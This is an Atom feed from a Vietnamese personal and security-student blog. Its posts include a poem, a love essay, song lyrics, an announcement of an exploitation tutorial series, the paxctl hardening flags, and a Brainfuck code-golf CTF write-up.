<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4625593733003044772</id><updated>2012-02-16T21:03:08.680+07:00</updated><category term='paxctf'/><category term='linux'/><category term='ebooks'/><category term='programming'/><category term='leetmore2010'/><category term='openvpn'/><category term='Debug'/><category term='studying'/><category term='pidgin'/><category term='wargame'/><category term='social'/><category term='myself'/><category term='love'/><category term='exploit'/><category term='ctf'/><category term='olympic09'/><category term='bufferoverflow'/><title type='text'>freedom...</title><subtitle type='html'>the secret that cannot be told</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-2666406379302013808</id><published>2011-12-30T00:51:00.001+07:00</published><updated>2011-12-30T02:36:38.889+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>The Secret That Cannot Be Told</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-1XANpDLutM4/TvyoQ2dgWqI/AAAAAAAABu8/_T3OpfCsRFc/s1600/Secret-Bunengshuodemimi2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-1XANpDLutM4/TvyoQ2dgWqI/AAAAAAAABu8/_T3OpfCsRFc/s320/Secret-Bunengshuodemimi2.jpg" width="220" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730" style="color: magenta; font-family: Tangerine; text-align: center;"&gt;&lt;span style="font-size: large;"&gt;Follow&amp;nbsp;the&amp;nbsp;notes&amp;nbsp;upon&amp;nbsp;the&amp;nbsp;journey&lt;/span&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730" style="color: magenta; font-family: Tangerine; text-align: center;"&gt;&lt;span style="font-size: large;"&gt;At&amp;nbsp;first&amp;nbsp;sight&amp;nbsp;marks&amp;nbsp;one's&amp;nbsp;destiny&lt;/span&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730" style="color: magenta; font-family: Tangerine; text-align: center;"&gt;&lt;span style="font-size: large;"&gt;Once&amp;nbsp;the&amp;nbsp;voyage&amp;nbsp;comes&amp;nbsp;to&amp;nbsp;an&amp;nbsp;end&lt;/span&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730" style="color: magenta; font-family: Tangerine; text-align: center;"&gt;&lt;span style="font-size: large;"&gt;Return&amp;nbsp;lies&amp;nbsp;within&amp;nbsp;hasty&amp;nbsp;key&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://0.gvt0.com/vi/mG7ggU3sGag/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/mG7ggU3sGag&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/mG7ggU3sGag&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="d_post_content" id="post_content_3819797730"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-2666406379302013808?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/2666406379302013808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2011/12/secret-that-cannot-be-told.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2666406379302013808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2666406379302013808'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2011/12/secret-that-cannot-be-told.html' title='The Secret That Cannot Be Told'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-1XANpDLutM4/TvyoQ2dgWqI/AAAAAAAABu8/_T3OpfCsRFc/s72-c/Secret-Bunengshuodemimi2.jpg' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Ho Chi Minh City, Prey Nokor, Vietnam</georss:featurename><georss:point>10.8230989 106.6296638</georss:point><georss:box>10.3240294 105.9979498 11.322168399999999 107.2613778</georss:box></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-815098282184002745</id><published>2011-06-19T00:16:00.001+07:00</published><updated>2011-06-19T00:18:36.357+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='studying'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>Software exploitation</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hè đến rồi, thời gian chắc cũng rỗi hơn. Sắp tới, mình có ý định sẽ viết các bài về tận dụng lỗ hổng phần mềm (software exploitation) từ đơn giản đến nâng cao, chủ yếu các kỹ thuật khai thác được nhắc đến là trên linux. Tuy nhiên, sẽ có một vài bài phân tích windows exploit.&lt;br /&gt;&lt;br /&gt;Tài liệu tham khảo :&lt;br /&gt;&amp;nbsp;- &lt;a href="http://bluemoon.com.vn/books/8935048992197.html"&gt;Nghệ thuật tận dụng lỗi phần mềm &lt;/a&gt;&lt;br /&gt;&amp;nbsp;- &lt;a href="http://nostarch.com/hacking2.htm"&gt;Hacking : The art of exploitation&amp;nbsp;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;- &lt;a href="http://as.wiley.com/WileyCDA/WileyTitle/productCd-0764544683,descCd-description.html"&gt;The Shellcoder's handbook &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Các kiến thức cần thiết :&lt;br /&gt;&amp;nbsp;- Lập trình (C, Python)&lt;br /&gt;&amp;nbsp;- Assembly language&lt;br /&gt;&amp;nbsp;- Hệ điều hành, phân quyền, kiến trúc của file và chương trình.&lt;br /&gt;&amp;nbsp;- Có khả năng viết bash script trong linux &lt;br /&gt;&lt;br /&gt;Tạm thời, bản linux được sử dụng sẽ là bản&lt;a href="http://www.mininova.org/tor/2533556"&gt; linux dùng trong cuốn Hacking 2&lt;/a&gt; , trong cụ thể từng phần, các cấu hình chi tiết sẽ được đưa ra sau.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-815098282184002745?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/815098282184002745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2011/06/software-exploitation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/815098282184002745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/815098282184002745'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2011/06/software-exploitation.html' title='Software exploitation'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4263259541811049792</id><published>2011-06-01T11:36:00.001+07:00</published><updated>2011-06-01T12:12:23.963+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>ôi tình yêu</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PZUO4MvyMmY/TeXBC2C1jrI/AAAAAAAABuI/4NE3NgUHG44/s1600/love-image.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="http://3.bp.blogspot.com/-PZUO4MvyMmY/TeXBC2C1jrI/AAAAAAAABuI/4NE3NgUHG44/s400/love-image.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;khi yêu ai đó, mình cứ nghĩ rằng, tình yêu này là duy nhất, và mãi mãi. nhưng cuộc đời lại thực tế hơn rất nhiều. tình yêu chỉ được nuôi dưỡng bằng tình yêu, không ai ôm mãi một bóng hình, chìm đóng trong một cuộc tình mà biết chắc, hoặc không biết nó sẽ đi về đâu.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;yêu đơn phương, say đắm một người nào đó, suốt cuộc đời. và đến một ngày nào đó, nhìn lại tất cả, bạn sẽ thấy tiếc nuối nhiều, vì sao chỉ vì một tình yêu , mà mình lại nỡ phũ phàng, và vô tình giết chết cơ hội để cho một tình yêu khác đến với mình.&lt;br /&gt;&lt;br /&gt;hãy yêu, nhưng cũng xin nhớ rằng, đừng để thiệt thòi thuộc về người con gái đến sau, tình yêu đến sau. vì sao phải theo mãi một bóng hình mờ ảo, để rồi hờ hững với tình yêu đến sau. hãy tạo sự công bằng cho tất cả.&lt;br /&gt;&lt;br /&gt;mình đọc đâu đó, lâu rồi. rằng trong cuộc đời này, mỗi người đều sẽ trải qua ba mối tình đáng nhớ nhất. trong cuộc tình thứ nhất, bạn sẽ yêu một người, nhưng người đó lại không yêu bạn. nhưng qua cuộc tình đó, bạn sẽ học được thế nào là tình yêu. cuộc tình thứ hai, sẽ có một người yêu bạn, nhưng bạn lại không có tình cảm với người đó. cuộc tình này sẽ cho bạn biết cảm giác được yêu là như thế nào.&lt;br /&gt;&lt;br /&gt;và cuộc tình thứ ba, cũng là cuộc tình cuối cùng. bạn sẽ gặp được người bạn yêu, cũng là bạn đời của bạn. lúc này, bạn yêu người đó, và người đó cũng yêu bạn. nhưng mà tình yêu bạn dành cho người này không dạt dào, nồng nàng như tình yêu của bạn với người thứ nhất, và người này yêu bạn nhưng lại không thiết tha như tình yêu của người thứ hai dành cho bạn. nhưng đây lại là cuộc tình cuối cùng.&lt;br /&gt;&lt;br /&gt;hãy nhìn lại cuộc đời mình xem, rằng bạn đã gặp được người thứ mấy rồi. rất hi vọng rằng, người bạn gặp ở cả ba lần đều là một. tình yêu đầu cũng là tình yêu cuối .&lt;br /&gt;&lt;br /&gt;nhưng cũng không phải vì cái hi vọng vậy mà làm cho chúng ta không biết cho tình yêu ra đi. hãy dành cơ hội cho người đến sau, đừng giết chết tình yêu thực sự bằng chiếc dao kĩ niệm&amp;nbsp; .&lt;br /&gt;&lt;br /&gt;tình yêu giống như thủy ngân vậy, càng nắm chặt nó trong lòng bàn tay, chúng lại càng bay nhanh, khi ta mở tay ra, thì lại ở với ta .&lt;br /&gt;&lt;br /&gt;chúc các bạn của tôi thành công và hạnh phúc, và cả tôi nữa ;) .&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4263259541811049792?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4263259541811049792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2011/06/oi-tinh-yeu.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4263259541811049792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4263259541811049792'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2011/06/oi-tinh-yeu.html' title='ôi tình yêu'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-PZUO4MvyMmY/TeXBC2C1jrI/AAAAAAAABuI/4NE3NgUHG44/s72-c/love-image.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8273862417400867293</id><published>2010-10-30T22:58:00.000+07:00</published><updated>2010-10-30T22:58:48.402+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>If today was your last day</title><content type='html'>Cho các bạn của tôi, hãy sống hết mình cho ngày hôm nay ;) .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/maINUv2H8A0?fs=1&amp;amp;hl=en_US"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/maINUv2H8A0?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;My best friend gave me the best advice&lt;br /&gt;He said each day's a gift and not a given right&lt;br /&gt;Leave no stone unturned, leave your fears behind&lt;br /&gt;And try to take the path less traveled by&lt;br /&gt;That first step you take is the longest stride&lt;br /&gt;&lt;br /&gt;If today was your last day and tomorrow was too late&lt;br /&gt;Could you say goodbye to yesterday?&lt;br /&gt;Would you live each moment like your last&lt;br /&gt;Leave old pictures in the past?&lt;br /&gt;Donate every dime you had, if today was your last day?&lt;br /&gt;What if, what if, if today was your last day?&lt;br /&gt;&lt;br /&gt;Against the grain should be a way of life&lt;br /&gt;What's worth the price is always worth the fight&lt;br /&gt;Every second counts 'cause there's no second try&lt;br /&gt;So live like you're never living twice&lt;br /&gt;Don't take the free ride in your own life&lt;br /&gt;&lt;br /&gt;If today was your last day and tomorrow was too late&lt;br /&gt;Could you say goodbye to yesterday?&lt;br /&gt;Would you live each moment like your last?&lt;br /&gt;Leave old pictures in the past?&lt;br /&gt;Donate every dime you had?&lt;br /&gt;&lt;br /&gt;And would you call those friends you never see?&lt;br /&gt;Reminisce old memories?&lt;br /&gt;Would you forgive your enemies?&lt;br /&gt;And would you find that one you're dreaming of?&lt;br /&gt;Swear up and down to God above&lt;br /&gt;That you'd finally fall in love if today was your last day?&lt;br /&gt;&lt;br /&gt;If today was your last day&lt;br /&gt;Would you make your mark by mending a broken heart?&lt;br /&gt;You know it's never too late to shoot for the stars&lt;br /&gt;Regardless of who you are&lt;br /&gt;&lt;br /&gt;So do whatever it takes&lt;br /&gt;'Cause you can't rewind a moment in this life&lt;br /&gt;Let nothing stand in your way&lt;br /&gt;'Cause the hands of time are never on your side&lt;br /&gt;&lt;br /&gt;If today was your last day and tomorrow was too late&lt;br /&gt;Could you say goodbye to yesterday?&lt;br /&gt;Would you live each moment like your last?&lt;br /&gt;Leave old pictures in the past?&lt;br /&gt;Donate every dime you had?&lt;br /&gt;&lt;br /&gt;And would you call those friends you never see?&lt;br /&gt;Reminisce old memories?&lt;br /&gt;Would you forgive your enemies?&lt;br /&gt;And would you find that one you're dreaming of&lt;br /&gt;Swear up and down to God above&lt;br /&gt;That you'd finally fall in love if today was your last day?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8273862417400867293?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8273862417400867293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/10/if-today-was-your-last-day.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8273862417400867293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8273862417400867293'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/10/if-today-was-your-last-day.html' title='If today was your last day'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8210377068080529580</id><published>2010-09-23T21:13:00.003+07:00</published><updated>2010-09-23T21:15:33.461+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='paxctf'/><category scheme='http://www.blogger.com/atom/ns#' term='studying'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>paxctl flags</title><content type='html'>&lt;b&gt;paxctl&amp;nbsp; is&amp;nbsp; a tool that allows PaX flags to be modified on a per-binary basis. PaX is part of common&amp;nbsp; security-enhancing&amp;nbsp; kernel&amp;nbsp; patches&amp;nbsp; and secure distributions, such as GrSecurity or Adamantix and Hardened Gentoo, respectively.&amp;nbsp; Your system needs to be running a properly&amp;nbsp; patched and configured kernel for this program to have any effect.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -P&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enforce paging based non-executable pages (PAGEEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -p&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do not enforce paging based non-executable pages (NOPAGEEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; emulate trampolines (EMUTRAMP)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do not emulate trampolines (NOEMUTRAMP)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -M&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enforce secure memory protections (MPROTECT)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -m&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do not enforce secure memory protections (NOMPROTECT)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -R&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; randomize memory regions (RANDMMAP)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -r&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do not randomize memory regions (NORANDMMAP)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -X&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; randomize&amp;nbsp; base&amp;nbsp; address&amp;nbsp; of&amp;nbsp; normal (ET_EXEC) executables (RAN‐DEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do not randomize base address of&amp;nbsp; normal&amp;nbsp; (ET_EXEC)&amp;nbsp; executables (NORANDEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enforce segmentation based non-executable pages (SEGMEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do&amp;nbsp; not&amp;nbsp; enforce segmentation based non-executable pages (NOSEG‐MEXEC)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; view flags&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -z&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; restore default flags (further flags still apply)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; create the PT_PAX_FLAGS program header if it does not&amp;nbsp; exist&amp;nbsp; by converting the PT_GNU_STACK program header if it exists&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; create&amp;nbsp; the&amp;nbsp; PT_PAX_FLAGS program header if it does not exist by adding a new program header, if it is possible&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -q&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; suppress error messages&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Q&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; report flags in short format&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8210377068080529580?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8210377068080529580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/09/paxctl-flags.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8210377068080529580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8210377068080529580'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/09/paxctl-flags.html' title='paxctl flags'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8403751190977942852</id><published>2010-09-12T00:08:00.001+07:00</published><updated>2010-09-12T14:31:30.315+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='leetmore2010'/><title type='text'>leet more ctf 2010 write up - wrapp it !</title><content type='html'>Bài này 200pts, nhìn chung là dễ. Chỉ cần&amp;nbsp; biết về &lt;a href="http://www.google.com.vn/#hl=vi&amp;amp;q=brainfuck&amp;amp;aq=f&amp;amp;aqi=g6g-s1g3&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai=&amp;amp;fp=9f67d4ceaed88e9a"&gt;brainfuck programming&lt;/a&gt; và bình tĩnh chút là xong ngay.&lt;br /&gt;&lt;br /&gt;Về Brainfuck, có thể tham khảo trang &lt;a href="http://en.wikipedia.org/wiki/Brainfuck"&gt;wiki&lt;/a&gt; là đủ .&lt;br /&gt;&lt;br /&gt;Đề bài như sau :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;[-]&amp;gt;&amp;gt;,[[-]&amp;lt;-&amp;gt;]&amp;lt;[&amp;lt;-&amp;gt;-]&amp;lt;[&amp;gt;-&amp;lt;+]&amp;gt;&amp;gt;[&amp;lt;+&amp;gt;-]+&amp;gt;[&amp;lt;&amp;lt;-&amp;lt;+&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;lt;[&amp;gt;-&amp;lt;[-]]&amp;gt;&amp;gt;&amp;gt;-&amp;lt;&amp;lt;&amp;gt;-[&amp;lt;-&amp;gt;-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;gt;.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;đề bài cho mình một đoạn code viết bằng mã brainfuck, và yêu cầu là phải rút gọn đoạn code đó về độ dài không được lớn hơn 12 kí tự. lòng vòng hỏi ban tổ chức thì được biết là sẽ chỉ test kết quả cuối cùng, được in ra thôi, còn các giá trị ở các cell . nhận được đề này là vào tầm khoản 12h đêm, nên đầu óc không minh mẫn lắm. lần đầu là mình lao vào giải trên giấy, nhưng thấy không khả quan lắm nên tìm một cái brainfuck interpreter để dịch vậy. Tìm được cái &lt;a href="http://4mhz.de/bfdev.html"&gt;này&lt;/a&gt;, khá tốt . Sau một hồi thử các giá trị thì kết quả xuất ra cuối cùng như sau :&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;input #0 --&amp;gt; output = 1&lt;br /&gt;input = 1 ---&amp;gt; output = 0&lt;/blockquote&gt;&lt;br /&gt;Và đây là đoạn mã brainfuck thỏa mãn đề bài : ,[[-]&amp;gt;-&amp;lt;]&amp;gt;+.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;trên là mã của mình, còn một số đọan mã khác vẫn được BTC chấp nhận .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8403751190977942852?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8403751190977942852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/09/leet-more-ctf-2010-write-up-wrapp-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 